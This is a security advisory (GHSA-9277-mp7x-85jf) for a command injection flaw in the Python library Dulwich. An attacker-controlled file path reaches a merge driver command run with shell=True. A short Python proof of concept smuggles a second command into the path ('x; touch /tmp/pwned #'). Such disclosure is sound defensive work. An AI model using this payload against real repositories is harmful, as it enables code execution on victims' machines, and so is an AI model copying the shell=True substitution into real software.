GHSA-9277-mp7x-85jf Dulwich Vulnerable to Command Injection via Merge Driver Path

• PyPI dulwich: >= 0.24.0, < 1.2.5 → fixed in 1.2.5

Summary Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Description • Type: Command Injection • Source: `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch) • Sink: `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder. Resources • Repository: https://github.com/dulwich/dulwich • Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129) Proof of Concept ```python from dulwich.attrs import GitAttributes, Pattern from dulwich.config import ConfigDict from dulwich.merge import merge_blobs from dulwich.objects import Blob Merge driver with %P (path) - typical for custom merge tools config = ConfigDict() config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A") patterns = [(Pattern(b"*"), {b"merge": b"injectable"})] gitattributes = GitAttributes(patterns) base = Blob.from_string(b"base") ours = Blob.from_string(b"ours") theirs = Blob.from_string(b"theirs") Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned" malicious_path = b"x; touch /tmp/pwned #" merge_blobs(base, ours, theirs, path=malicious_path, gitattributes=gitattributes, config=config) => Executes: echo x; touch /tmp/pwned # => Shell runs: echo x, then touch /tmp/pwned ``` Fix merge_drivers_shell_escape.patch